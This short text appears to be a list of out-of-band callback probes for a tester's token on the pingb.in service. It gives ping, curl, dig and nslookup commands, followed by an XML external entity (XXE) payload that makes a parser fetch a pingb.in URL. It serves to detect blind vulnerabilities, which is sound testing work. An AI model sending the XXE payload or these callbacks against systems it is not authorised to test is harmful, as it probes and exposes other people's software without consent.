$ ping -c1 -p 00a8e5ddf7fbfd7a4da1860120c54200 pingb.in
$ curl pingb.in/p/a8e5ddf7fbfd7a4da1860120c542
$ dig a8e5ddf7fbfd7a4da1860120c542 @pingb.in
$ dig a8e5ddf7fbfd7a4da1860120c542.ns.pingb.in
C:\> nslookup a8e5ddf7fbfd7a4da1860120c542 pingb.in
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://pingb.in/p/a8e5ddf7fbfd7a4da1860120c542">]> <foo>&xxe;</foo>